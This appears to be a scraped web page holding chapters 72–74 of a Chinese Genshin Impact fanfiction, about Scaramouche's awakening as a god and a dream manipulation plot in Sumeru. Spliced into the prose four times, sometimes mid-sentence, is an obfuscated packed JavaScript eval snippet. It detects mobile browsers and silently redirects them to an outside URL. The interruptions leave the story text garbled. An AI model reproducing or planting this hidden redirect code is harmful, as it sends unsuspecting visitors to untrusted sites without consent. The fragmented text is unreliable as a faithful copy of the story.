;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366817|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担忧,他更愿意相信月见里清也。 他看着月见里清也的视线从导管上移开,歪头打量着载着自己的无相使。 与正机之神的人形机甲不同,无相使的外形更像一只狐狸,但它没有普通狐狸的体温,摸起来也不毛茸茸,狐狸身上可爱点都被精密机械所代替。 银白色金属泛着冷光,三条巨大的机械狐尾盘绕在身体周围,尾尖锋利如刃,无声地昭示着其威严与力量。 与月见里清也进行连接后,从他身上抽取的力量灌注到它的身体中,给这只银白色的狐狸的尾尖浸染上幽深的紫色。 这巨大的机械造物与其说它的原型是一只普通狐狸,不如说是稻妻志怪神话中的妖狐。 起初,散兵和月见里清也一样,有些无法想象这样的机甲该如何和正机之神站在一起,因为它们看起来确实有些格格不入。 可直到看见这只妖狐载着月见里清也这位眷属静静伏在正机之神身旁时,不像是一个安静待命的兵器,也不是正机之神的能量储存装置,而是一个被时间与众人遗忘,静候属于他的神明降生的眷者。 此时此刻,外形如何,对月见里清也和散兵来说,都已经不再重要。 与此同时,紧盯数据的研究员突然起身,动作太快带倒了椅子,但他无暇顾及,神色激动的高声宣告:“达到了!能量供应达到标准数值,甚至略有超出!” 观察室中瞬间爆发出一片欢呼声,散兵几乎微不可察地松了口气,在他身边的卡斯珀更是如释重负,猛地松了口气,带着研究员上前协助月见里清也断开连接。 能量抽取停止的瞬间,月见里清也抬头看向一句小跑过来的研究员,他没问结果如何,从研究员脸上的笑容来看,应该是成功了。 他的视线没在研究员的脸上过多停留,越过人群,四下搜寻着,找寻着散兵的身影,终于在远处人群后方看见了他的身影。 前方凑了一群研究员,有负责断开连接的,还有负责询问月见里清也有没有不适的,散兵不愿上去凑热闹,索性跟人群保持一定距离,也方便月见里清也找他。 两人隔空相望,纷扰的人声如潮水般退去,初次连接的疼痛与能量大量流失的虚弱感依旧存在,但月见里清也的嘴角仍缓缓扬起一个清浅却明亮的笑容。 散兵看到了那个笑容,他没有做出别的回应,只是轻轻的冲月见里清也一点头。 那动作极其轻微,几乎难以察觉,但月见里清也却看见了,像是无声的对他说,“我知道你可以做到。” 实验结果达到预期,从此之后没人能再动摇月见里清也的计划。 这也意味着,从这一刻开始,他和散兵就已经高度绑定,没人能够再分开他们。 今夜,须弥的子民伴着梦境入睡,降神工坊的研究员为实验的成功而欣喜,但不论今晚发生了什么大事,花神诞祭的脚步,已经悄然降临。 72.诞生和礼物 受那些梦境的影响,须弥城中渐渐流传起有关“神明归来”的消息,但这些消息淹没在教令院散播出的“赤王归来”的消息之中,并未引起什么太大的轰动。 直到花神诞祭当天,这种消息才又重新冒了头。 对于须弥民众而言,不管之前大家到底是信仰大慈树王还是小吉祥草王,不管他们是否真心欢庆神明降生,今年的花神诞祭,总归和之前的不一样,因此也格外重视。 以至于,大贤者推行艺术禁令时遇到了从未想过的抵抗。 但这点小麻烦对于阿扎尔来说还不足以上纲上线,他的心思还是放在降神工坊里。花神诞祭对以他为首的学者们来说,是他们即将完成宏图伟业的日子。 降神工坊内,垂落的袖口遮住了月见里清也手腕上的通讯器,正好掩盖住消息传递时的亮光。 月见里清也再一次坐在无相使的身上,等着卡斯珀将导管接入脊椎处的接口中。 “教令院已经将正机之神接入世界树,大人现在也能连接世界树,但同时为了在这些权能和力量中保持自我,他需要选一个东西作为“锚点”,你在机体连接时如果有眩晕、看见走马灯这类的症状都是正常的。”卡斯珀一边调试设备,一边对月见里清也说,“不过这感觉和连接世界树类似,你应该很快就能适应,另外,我还给你俩留了个惊喜。” 除非能把痛觉屏蔽掉,不然机体连接时的疼痛是无法消除的,但卡斯珀眼前的这两位一个模子刻出来的嘴硬,他深知这一点,所以提了另一件事来转移注意力。 月见里清也闻言真的有些好奇,“什么惊喜……嘶!” 卡斯珀瞅准他说话的功夫,眼疾手快地将导管连入接口,大功告成一般拍了拍手,语气轻快道:“自己找吧。” 毫无准备的月见里清也被疼痛刺激的面目扭曲了一瞬,硬是靠着自己的形象管理给正了回来。 但他还没来得及说什么,下一秒那种熟悉的眩晕感又包裹住他,拖着他往下坠,无数画面涌入脑海中。 但奇怪的是,他在这些画面中看到了自己。 他看着画面中的自己这一瞬还是几天前降神工坊中,下一瞬又身处稻妻的邪眼工厂,然后是百年前清剿旧贵族时的驻扎营地,再然后就是几百年前的踏鞴砂…… 这些画面他都经历过,他甚至能想起来当时自己说了什么,但唯独画面中少了个人。 月见里清也看着眼前的画面愣了一瞬,而后才后知后觉的反应过来,这不是自己的记忆,而是散兵的。 所以他只能看见自己的身影,因为这是散兵的记忆,是散兵视角下的自己。 他跟随着画面中“自己”的视线,推开借景之馆别院的木门,唤醒沉睡的自己。 这五百年来所经历的一切事,正以一种倒放的顺序从月见里清也的眼前划过,熟悉又陌生。 说这是走马灯显然有些不太贴切,月见里清也不光看到散兵的记忆,甚至还能“体会”到他当时的心情。 或许是无相使跟正机之神也存在着连接,他能感觉的出来,在经历这些记忆时,散兵的情绪是放松的。 但随后,这些画面在月见里清也眼前扭曲消失,取而代之的是倒在深紫色血泊中的自己,是被火焰吞噬的木屋,是烧毁的双手捧着腐败、不在跳动的心脏,雷电将军抛弃散兵时转身的背影。 那些被压抑的痛苦、憎恨和疯狂,如同潮水一般向月见里清也涌来,将他淹没,无法挣脱。 在这一瞬间里,月见里清也甚至无法分清,这痛苦的源头究竟是散兵的情感,还是自己在愤怒。 就好像,那些温存只是漫长生命中的错觉,唯有痛苦才是伴随他一生的真实。 这股情绪积压多年,而今终于找到了宣泄,它就像一只无形的大手,用力的握住他的心脏,不让月见里清也逃脱,在他脑海里叫嚣它的痛苦,压得月见里清也喘不过气。 无相使与月见里清也感官同步,他的异样同步到无相使身上,银白色的妖狐不安分甩了甩尾巴,替它的主人无声的表达着内心的焦躁。 卡斯珀差点被无相使甩下去,连忙按住月见里清也,“别抗拒它!” 不抗拒……所以要选择接受痛苦吗? 为了使自己不迷失,你为自己选择的锚点是“痛苦”? 为什么呢?是因为这些痛苦足够刻苦铭心,无法被洗去,无法被遗忘? 月见里清也冷笑一声,调动核心中的力量,在心里怒吼一声:“够了!” 这股力量自月见里清也而出,沿着肉眼难以察觉的导线,灌注到正机之神上。 能量看似来势汹涌,但在反馈到散兵的身上时却无比的柔和,就像黑夜中点燃的一盏灯,光芒不大,但足以帮散兵驱散那些他早已习惯的痛苦。 被这股力量包裹的瞬间,散兵一愣,看向坐在无相使身上的月见里清也,正巧,月见里清也也在抬头看着他。 无相使的身型不小,但跟正机之神相比仍是小很多,月见里清也要想看散兵就必须仰着头。 而就在对视的瞬间,二人背后的接口突然锁死导管,导管与神经对接成功,正机之神与无相使之间的连接被激活。 习惯痛苦,并不是向往痛苦,如果有不疼的方法,谁不想用更轻松的办法呢? 不是只有痛苦才值得被铭记,最起码在这个瞬间里,那些痛苦、疯狂的记忆不再是散兵的锚点,他找到了新的锚点。 看着监视器中各项数值都恢复正常,卡斯珀松了口气,带着研究员退至几米远的空地旁。 无相使存储的能量源源不断的供给到正机之神身上,伴着耳边的轰鸣声,在实验室中沉寂许久神明终于自长眠中苏醒,以无边的威严昭示着自己的诞生。 学者眼前的散兵不再是他们眼中的实验对象,一股无形的威压以正机之神为核心骤然扩散。这并非力量差距带来的冲击,而是一种更原始的、令人灵魂战栗的位格碾压。离得最近的几位学者膝盖一软,几乎要跪伏下去 神明与人类,两者之间本来就有难以跨越的鸿沟。 学者以智慧作为手段企图跨越鸿沟,他们以刻度与公式丈量神性,试图将神明囚禁于实验的框架中。 但在正机之神苏醒的那一刻起,在绝对的力量与威严面前,一切野心与理性犹如滴入沙漠的水珠,消失的无影无踪。 光是只是站在他的面前,就足以知晓自己的渺小。此时他们心中除了敬畏,再也想不起其他。 就在学者怔愣之际,无相使在月见里清也的操控下跃至正机之神面前,缓缓的伏下身,坐在上面的月见里清也右臂横于胸前,向他的神明垂首献上敬意。 实验室内一片寂静,就连呼吸声都清晰可闻,那无声的威压持续了片刻,才缓缓收敛。 神明的诞生在月见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376323|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里清也眼中意味着降神计划的成功,但教令院追求的是“完美”而非“成功”,正机之神在他们眼中仍不完美,距离他们要求的“全知全能”仍差一步。 但在散兵的注视下,学者愣是没敢开口。 最后,他们推选出一位冤种,去跟散兵讲关于装载神明罐装知识的事。 出乎他们意料,散兵很平静地接受了这件事,等他们走后,月见里清也的声音在他心中响起,“神明罐装知识是不会装备到你身上的。” 神明罐装知识,或者说,那些被深渊污染的知识,之所以没有现在给正机之神装载,是因为在收集完成后的某一天里“不小心”遗失了一罐。 到底是有人窃取还是教令院自导自演,目前无法查证,但月见里清也心里十分清楚,只要它遗失了,那就永远也别想找回来。 “哦?那看来你已经知道它的下落了?”散兵的视线扫过月见里清也。 散兵的声音也是自月见里清也心中响起,他一时没回话,静静地注视着连接正机之神与无相使的导线,即使那里用肉眼看去空无一物。 除了能量抽取的方式之外,月见里清也还提出了别的改动,他提议将自己和散兵曾经研究出来的小玩意融入无相使与正机之神的能量供应中。 这种小玩意不是别的,正是在清剿旧贵族的那场谈判中,散兵控制月见里清也的东西——牵丝。 驱动牵丝需要元素力,这些细丝不光能承载能量,还因制作时些用了特殊手段,不光正常人无法用肉眼看见,还可以无限延展,没有距离限制。 跟普通运输能量的导管相比,牵丝的运用极大的提高了无相使的灵活机动,还不暴露导线的存在。 只有在运输能量时,才能隐隐约约察觉到它们的存在。 而正机之神身体储存的能量目前足够维持正常运作,暂时不需要月见里清也供应。 散兵见月见里清也长时间不回话,直接动手将手臂移至眼前,那只手臂掌心向上摊开。 而蜷卧在上面的无相使见状向上仰调整姿态,好让月见里清也与身处正机之神驾驶室的散兵位于同一个高度。 月见里清也回神,想起散兵的问题,他笑了笑,指尖轻敲着无相使的机甲,意有所指,“哥哥不妨猜一猜?” 驾驶室舱门打开,散兵眉尾一挑,这种无聊猜测没有一点难度,但他还是配合,“那位四处多管闲事的旅行者。” “嗯哼。”月见里清也说着转了转手上的通讯器,“并且从刚才按照送回来的消息来看,他已经找过斯黛拉了。” “行动比我预想之中的要快,我本以为要今晚过后他们才能察觉到异常,现在看来,我们的草神大人心里也急得很。” 一牵扯这些不能被教令院听到的话题,月见里清也和散兵就自动转了心声,这就是卡斯珀提到的“惊喜”,只要月见里清也通过无相使接入正机之神,就凭借着连接用心声与散兵对话。 月见里清也和散兵都很满意这份礼物,毕竟在工坊内,最不缺的就是隔墙有耳。 白日的祭典即将接近尾声,对于白天发生了什么,月见里清也并不关心,毕竟对他来说,夜晚才是这场花神诞祭的重头戏。 “不过,我是不会允许他们扰乱今晚的梦境的。”月见里清也一伸手,对散兵做了个邀请的手势,“神明大人啊,请允许我为你献上一份独特的诞生礼物。” 73.梦中庆典 通过正机之神和无相使之间的连接,月见里清也才能将散兵的意识也拉入他为须弥人编织的集体梦境之中。 被月见里清也主动带入梦境的散兵和被虚空终端拉入的人不同,月见里清也和散兵位于梦中“须弥城”的高处,只要一低头就能看见那些布满装饰的街道,买着各色纪念品的店铺。 “只要他们越相信这些梦是真的,我能修改的记忆就越多,这些都是我根据他们的记忆复现出来的。”月见里清也指着那些装饰说。 梦境里的一切的都按照今日花神诞祭的装饰来布置,月见里清也甚至不往给这些深陷梦境的人换上新装。 白日的庆典被阿扎尔的一项禁令搅地一团糟,此时须弥民众见了眼前的庆典,有一瞬间的欣喜,但随后紧张的看向四周,像是期待着什么的到来,但又为此感到害怕。 “庆祝神明诞生的庆典,怎么能少了主角呢?”月见里清也说着,拿出早就准备好的梦境球,示意散兵伸手。 散兵伸手,看着他将个梦境球放入自己手中,在接触的一瞬间,梦境球就自动融入了散兵的身体内。 刚被月见里清也拉进梦境时,他感觉自己就是个旁观者,隔着一层玻璃看着这眼前的一切,月见里清也才是这个梦境世界的主宰。但彻底融合梦境球后,眼前的世界突然真实了起来,月见里清也的存在不再那么让人无法忽视,反而弱化了很多。 月见里清也将梦境系统全部权限都开放给了他,没有一点保留。 “我只负责传颂,但到底该让子民见到怎样的‘神迹’,都取决于你的决定。”月见里清也轻笑一声,从散兵身后推了他一下,“神明大人,你看,他们都在等你。” 梦境权限开放后,仿佛只需动一个念头,就能操控每一处细节,但散兵并未急于编织梦境,反而是用权限查看了前几日月见里清也编织的梦境。 当他看到月见里清也用银白古枝替换掉世界树的概念时,他大概明白月见里清也想做什么了。 那就是用“融合”“归一”的概念代替“取代”。 月见里清也这个办法能够快速的使须弥民众相信梦境出自于草神之手,经过前几日的铺垫,几乎没人会怀疑这场梦境的真实性,从而能让他快速掌控须弥民众的记忆。 但对于他这位新神来说,以这样的方式诞生未免丧失了独属于他的个性,所以月见里清也将选择权交于他的手中。 由他自己决定该以何种姿态出现在世人眼前,反正月见里清也对须弥民众的掌控已经足够深,不论今晚自己做了什么,月见里清也都能让须弥人牢牢记在脑海里。 只是面对月见里清也辛苦几晚编织的梦境,散兵暂时还不想抛弃掉它们。 他手指微微一动,城中大雾四起,遮住了民众视线所能看到的一切之物,那些为节日精心准备的装饰与彩绸都浓雾抹除,仿佛从未出现过。 看着眼前突然出现的浓雾,须弥民众心中那点侥幸期待也随之破碎,恐慌与无助重新满上他们的心头,前一日梦境中的诘问重新回荡在他们的耳边——“你们真的做好准备迎接祂的归来了吗?” 许多人猛然想起教令院贤者带走神明化作的银白古枝,一个令人毛骨悚然的念头在他们脑海中浮现:这是否意味着,现在的小吉祥草王就是他们所惦念的大慈树王? 可贤者们明明说大慈树王已经逝去了…… 此时此刻,两位神明都是同一人的消息远比大慈树王复活更难以让人接受。 除了小部分信仰着小吉祥草王的人,大多数人都对这位继任神明不闻不问,在这本应为她欢庆诞辰的日子里,又有几人能发自内心的为她的诞生献上喜悦与祝福? 神明是否因为他们这种行为而感到愤怒? 现在醒悟为时已晚,浓雾不曾消退,神明的身影也未曾出现。 对现在的他们来说,神明冷漠要比愤怒更令人心惊胆战。 浓雾将每个人分离开来,犹如一个囚笼,人们身处于此,只有令人发狂的死寂相伴。 就在须弥民众精神快要崩溃之时,一道惊雷自雾中响起。 散兵看向月见里清也,后者刚刚收回操控梦境的手。 “过度恐惧可能会让他们从梦境之中惊醒,”察觉到视线,月见里清也微微一笑,“不过,梦境的权限已经交给你,你可以不必遵循我的布局,只要做你想做的就好。” 散兵闻言嘴角牵起一丝弧度,他摇了摇头说:“将取代包装成‘融合归一’,是个不错的文字游戏,既避免了记忆冲突的麻烦,又重塑了须弥人的认知。” 他顿了顿,而后继续说:“我从不怀疑你的能力,但这的确是最具效率的方式。” “信仰是神明必备的养料与基础,我无意扮演慈爱的神明,与其让他们对新神献上忠诚,不如如他们所愿,让他们侍奉心中的‘旧神’。”散兵说着将视线从月见里清也身上移开,扫过城中的迷雾,“但从现在开始,他们该学会如何敬畏神明了。” “好吧,既然这是你的要求,我当然不会干涉。”月见里清也说着往后退了退,不再干涉散兵操控梦境,“不过,记得不要以自己的真面目示人。” 大雾之中出现点点光芒,这些光芒勾勒成成无数个神明的虚影,只是这些影子透明又虚幻,像一盏微弱的烛火,来一阵风就能将其吹散。 这些虚影神态各异,有的如孩童一般,坐在众人为其准备的花车之上,有的则像一位稳重的学者,为世人传授知识,有的像一位慈爱的母亲……虽形态万千,虚影却周身都笼罩着光晕,身着白袍,样貌隐藏于光芒之后,无法辨认。 微风拂过,与浓雾一同消散的还有神明的虚影,虚影化作漫天的流萤,人们徒劳的想要伸手挽留,但终究只抓住一片虚无。 身影虽化作光芒,但光芒却未曾消失,反而向着高空奔涌汇聚,交织融合,逐渐勾勒出一个人影。 在这道身影出现的一瞬间,一种难以言说的威压如同海啸一般,席卷了在场的每一个人,一时间让人忘记了害怕,思绪都跟着停滞,最后只剩下对这位神明的敬畏。 祂静静地伫立在那里,仍是看不清面孔,但仿佛自古便已存在,承载着所有过去的虚影,化为了唯一、永恒的“真实”。 高台之上,月见里清也手上能量涌动,他需要将这段景象牢牢刻在众人的脑海之中,有了这次的铺垫,才能方便以后将看不清样貌的神明的形象,直接替换成正机之神。 浓雾散去后,城中景象又恢复了花神诞祭当天的模样。此时按照外界时间来推算,前半夜也才刚刚过去,梦境中剩下的时间就留给须弥民众自己,月见里清也和散兵眼下顾不上他们。 因为就在神明在世人眼中归来的那一刻起,在梦境中潜伏的另一方势力,空和草神终于有了行动。 为了确保他们不会扰乱自己的计划,他月见里清也在空和派蒙刚刚入梦的时候,就把他们单独放到一个独立的梦境之中。 那场梦境困住一个人一晚很容易,但在草神的帮助下,这场梦境能撑住半晚已经是最好的结果了。 起初空和派蒙都未曾察觉到自己身处另一层梦境之中,梦境中的一切都与白日的花神诞祭无异,要不是纳西达突破了梦境的屏障,他们都未曾发觉这是个“梦中梦”。 “纳西妲!怎么样,这段时间里有发生什么吗?”逃离梦中梦后,三人来不及寒暄,开始交换情报。 “嗯……情况并不乐观呢,在你们陷进梦中梦时,操控整个梦境的‘梦主’向须弥子民编织了新的梦境。”纳西妲说,“他向须弥子民宣布,那位神明和大慈树王包括我,我们‘同为一体’。” “同为一体,是什么意思?”派蒙问。 “就是说,那位神明,既是大慈树王也是我。”纳西妲说着打了个比喻,“就像有一个人跟派蒙说,‘我是派蒙,又是旅行者’。” “什么啊,这么一想根本不可能嘛,怎么可能一个人同时像两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这也只是现在,教令院是在最近一段时间才向民众大量发放虚空,我哥哥几个月前过来工作时都没有呢。”斯黛拉端起面前的咖啡喝了一口问,“你们还有别的问题要问吗?” 空闻言一愣,仿佛冥冥之中有条看不见的线将这些散落无用的线索串了起来,鬼使神差的问了句:“无意冒犯,我能问一句你哥哥之前是在哪里工作的吗?” 斯黛拉虽不知道他问这个干什么,但还是回答道:“至冬。” 斯黛拉之所以没有梦见那些梦境,是因为在晚上从不带着虚空终端入睡,所以梦境只会影响那些带着虚空终端的人,而虚空系统又掌握在教令院手中。 柯莱跟空说起斯黛拉时又提到过,斯黛拉的哥哥曾经救过她。 而根据提纳里跟空说的话,柯莱曾经在愚人众里有过一段不愉快的经历,到底是什么人能在至冬从愚人众手底下救人呢? 即使不是愚人众高层,恐怕也跟愚人众脱不了关系。 这场梦境背后,不光有教令院的参与,还有他和派蒙的老朋友——愚人众。 月见里清也知道,破除梦境的关键还是要找出自己这个梦主,但无论空和草神准备用什么手段,他早就做好了准备。 他告诉散兵不要以真面目示人,自己也同样套了伪装,二人并肩漫步城中的街道上,看似悠闲,实则在人群中寻找空的身影。 终于在某个商铺前,月见里清也看到了空一行人的身影。 但在三个人的视线看向这边的一瞬间,尤其是小吉祥草王的视线直直盯着散兵的方向看时,月见里清也心中警铃大作。 来不及细想,他几乎是下意识的动用了自己作为梦主的权限,将系统权限从散兵身上收回,将散兵的意识强行踢出梦境。 而就在月见里清也做完这一切的下一秒,一只手轻轻搭在了自己的肩膀上。 74.梦主与教唆者 月见里清也的身体微不可察地僵了一瞬,但在回过身来的一瞬间,他的脸上已经挂起了一副带着一丝困惑的礼貌微笑,“请问,您有什么事吗?” 他给自己套的伪装十分普通,不论是长相还是穿着,都不具备任何记忆点,往人群里一扔就能泯然众人。 这一伪装也成功迷惑到了空,他看着眼前人的疑惑不似作假,一时间也有些迟疑。 在初步制定完计划后,纳西妲交给空一个装置,装置能够检测梦境中的能量流动,只要梦主操控梦境,就可以根据能量波动来定位梦主的位置。 而对于梦主的身份,他们初步推测跟教令院与愚人众相关,所以他们在搜寻时,也会注意目标的身份与衣着。 可装置最后定位到的,却是这个看上去毫不知情的路人。 空手中的装置已经重归平静,没有半点方才剧烈波动的模样。 “你是需要什么帮助?还是……”月见里清也的视线扫过空手中的事物,虽然很好奇,但他没忘此时的人设是一个普通的路人,见空不搭话,只好说,“您要是没事的话,我就先走了?” 月见里清也话音刚落,派蒙和纳西妲终于穿过商业街熙熙攘攘的人群,来到空的身旁。 纳西妲微不可察地冲空点点头,空随后拿定了主意,他伸手扣住月见里清也的手腕说:“不,请等一下,我们想询问一件事。” 空的手劲极大,控住月见里清也的力气绝不是对待普通人用的,月见里清也皱了皱眉,“可以是可以,但你能不能先松手。” “啊,抱歉。”确认月见里清也不会反抗或是突然逃跑后,空这才收手。 眼前之人可疑之处太多,理所当然的成了他们的第一个怀疑对象,更何况,纳西妲可以读取须弥人心中的想法,说是洞察内心对她而言易如反掌,不怕揪不出梦主的尾巴。 月见里清也知道他们这时就等着找自己纰漏,但这些年的愚人众也不是白呆的,他皱着眉揉了揉手腕,好似真的被捏疼了,看着面前站着的三人,语气也有些不耐烦:“你们要问什么?问吧。” “请问,你有没有看到有些异常的人或者事?”纳西妲开口询问,同时抬眸看向月见里清也,在视线交汇的一瞬间,纳西妲眼中闪过一丝探究的光芒。 月见里清也心头一冽,然而这时纳西妲若无其事的收回了目光,仿佛刚才的探查是他神经紧绷出现的错觉。 他顿了顿,开口道:“异常的事?不知道你们指的什么。” “呃……比如,这场梦境发生的一些事?”派蒙说。 “这场梦境,难道不是神明大人的权能的体现吗,神明大人不计较我们之前的无礼,收起迷雾,这怎么能被称为‘异常’!”月见里清也突然提高音量,神色激动的质问道,“还是说你们也是那些执迷不悟的贤者派来的人?” 月见里清也一番言论直接给眼前的三人扣上了一顶“不敬神明”的帽子,此话一出,很快引起周围人的注意,纷纷侧目注视着他们。 眼见在找到梦主之前就找先变成民众眼中的众矢之的,派蒙慌忙解释说:“别误会,别误会,我不是说梦境是‘异常’,而是在刚刚你有没有看见什么不同寻常的东西?” 听了派蒙的解释,月见里清也的表情稍微缓和了一些,“神明创造的梦境,出现什么都不为过吧,不过要硬说见过什么不太寻常的东西……” 他说着抬手指向一旁散兵刚刚消失的位置,“刚才哪里的空间扭曲了一瞬,我也不确定是不是自己眼花看错了。” 派蒙还想在说些什么,纳西妲却突然出声打断,笑盈盈的说:“这就足够了,谢谢你提供的消息。” 纳西妲说着眼神再次落在月见里清也身上,月见里清也的神经再度紧绷,下意识的提高警惕,但直到三人走远,纳西妲都没有再说什么。 月见里清也看着三人远去的身影,心中暗自松了一口气。 权限收回肯定会伴随着能量波动,空和小吉祥草王应当是靠着这个才找上了自己,介于自己目前完全掌控梦境,他们一时半会还看不穿自己的伪装。 只是一想起纳西妲看向自己时所带来的感觉,月见里清也眉头又皱了起来。 他不喜欢那种眼神,纳西妲看向他时,那眼神似乎能够看穿他的伪装,洞察他的所思所想,让他本能的感到危险。 虽然纳西妲最后什么都没说,但这不代表平安度过这次危机,恰恰相反,这层伪装已经变得岌岌可危了。 这也是在提醒月见里清也,下一步计划已经不能再拖了。 与此同时,已经走远的三人停下脚步,纳西妲的神情变得有些凝重,“很奇怪,不管从读心还是他的表现来看,他都没有说谎。” 派蒙松了一口气,“那不是很好吗?纳西妲为什么看上去这么严肃?” “不,问题就是他表现的太过‘真实’,反而显得不真实。”纳西妲解释道,“正常人的内心,就像一间堆满杂物的房间,当被问及一个问题时,思绪的流动总会或多或少的夹杂着那些‘杂物’,所以他们的心声中会出现一些无关的念头,或是一些无关的联想。” “但刚刚那位路人的内心,就像一间刚刚打扫过,所有物品摆放整齐的房间。所有的思绪都围绕着问题展开,没有一丝纷杂的思绪,这种专注本身也是一种破绽。” “所以他确实没有说谎,因为他从心底就在扮演着这个路人的角色。”空说,“有些过于谨慎了。” 这种专心致志扮演一个无辜路人的感觉,让空感到无比熟悉。 印象当中也是有一个人……不,两个。在和自己第一次见面时就假扮了一个路见不平出手相助的路人。 人不能在同一个坑里摔两次吧…… “如果梦主只是一个无辜的路人,他意识不到自己在做梦,那么破除梦境的方法很简单,只需要让他意识到自己在做梦就可以。”纳西妲说,“可现在,梦主十分清楚自己在做什么,想要他主动放弃梦境,几乎是不可能的事。” 她顿了顿,继续说:“这也就意味着,普通的手段已经无效,我们只能从他构筑梦境的支点下手,从根本上瓦解这场梦境。” 梦境外,散兵的意识虽然被月见里清也强行弹出,却未和梦境完全断开连接。 他可以进入月见里清也的意识,通过月见里清也的视角旁观着梦境中的一切。 但通过月见里清也的视线看到的,不止梦境中的画面,还有个类似幽灵一样的东西穿过实验室的大门,堂而皇之的飘到月见里清也身旁。 就在那虚影的手碰到月见里清也衣角的前一刻,一道雷霆凭空炸响,裹挟千钧之力劈向那只手。 “幽灵”没有实体,雷霆从虚影中穿过,但被击中的疼痛却真实的反馈到青羽澈的身上,他闷哼一声,半条手臂被打散,如果他还有实体,恐怕早就血肉模糊。 “啧。”青羽澈环顾四周,看不到任何人影,用元素视野也无法探查到机关的痕迹,他低声嘟囔一句,“怪了。” 他抬头看了看因操控梦境而陷入沉睡的月见里清也,还是不死心的想再试一次。 但这个念头刚出现,无数细丝从无相使身上脱落,直冲青羽澈而去,青羽澈手中雷光化作利刃,直接将细丝斩成几段。 可断掉的细丝又在半空中重新拼接好,攻势不减反增,青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16400750|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽澈见状也不再白费力气,直接伸手就向月见里清也抓去。 就在这时,他耳边传来一声冷笑,“不自量力。” 听见这句话的青羽澈动作一顿,这短暂的怔愣给了散兵机会,细丝直接扎进虚影,紧紧缠住了他。 散兵的身影自半空中缓缓浮现,俯视着被束缚住的“幽灵”。 青羽澈看清他面容的一瞬间,不顾细丝勒在自己身上的疼痛,伸出还完好的右手,发了狂一般向前够去。 只要他能碰到月见里清也,就能顺着他的意识躲进梦境里。 可散兵并不打算让他如愿,手指轻轻一动,细丝骤然收紧,将青羽澈拖拽至自己跟前,吊在半空中,冷声道:“看来你的另一只手也不想要了。” 据月见里清也描述,他的那位合作伙伴是个穿着巨大的斗篷,看不清面容,手上缠着绷带的少年。 眼前“幽灵”的穿着,加之他在看见自己后那些慌乱的举动,都与月见里清也描述的一模一样。 “久仰大名,青羽澈先生,至于我,应当无需自我介绍了。”散兵说,“在你进入梦境之前,不如我们先谈谈?” 青羽澈沉默不语,散兵见状也不恼,“我想你应该清楚,我不是月见里清也,没他那么好说话。” 话音刚落,缠在青羽澈身上的细丝继续收紧,那些透明的细丝宛如刀刃,轻易的划破了他身上的斗篷。 这下青羽澈终于沉不住气,忍不住喊到:“等等!” “哦?”散兵操控牵丝的手一顿,语气中带着一丝玩味,“想通了?” 青羽澈点点头,“是啊,毕竟在神明大人面前,我也没法反抗不是吗?” 察觉到缠住自己的细丝略微松动,青羽澈松了口气。 散兵懒得跟他废话,直接进入主题:“是你教唆的月见里清也。” 虽然是疑问句,但散兵心中十分确定眼前之人就是罪魁祸首。 “怎么能叫教唆呢,多难听。”青羽澈笑了笑说,“我只是给他提了个醒,毕竟准备的再周全也总会有意外的发生,不是吗?” “他心里在害怕那个万一,您察觉不到吗?”青羽澈的话像一根细针,刺入散兵的心中。 散兵闻言陷入短暂的沉默,他当然察觉的到。 在一切都按照计划进行的现在,月见里清也在害怕什么呢? 无非是降神计划失败,自己从神座上坠落。 正因如此,月见里清也才会所未有的冒进,从梦境系统到夺取虚空权限,哪怕到后面架空教令院,这一桩桩一件件的计划都有他的手笔。 平日里见一个工作汇报都要卡点交上的他,突然变得事必躬亲,这就十分不寻常。 散兵看得出来,月见里清也这是在将一切的罪责都揽到自己身上。 就算有一日那个最坏的“万一”发生,届时,月见里清也是罪大恶极的主犯,而散兵,不过是个被各方势力裹挟,被迫登台的“伪神”罢了 “他以前从不会担忧还未到来的事,如今这样,不还是受了你的教唆?”散兵冷声道。 青羽澈说:“关于这一点,我承认,是我引导的,但只有孩童才不会担忧未来,大人。” “他已经在你的庇护下活了五百年,这足够了,我想要的只不过让他面对自己的命运。”青羽澈说,“他没有告诉你占星术士为他预言的未来吗?命之座昭示了他的命运,但他的命运被人为隐藏了一半啊。” 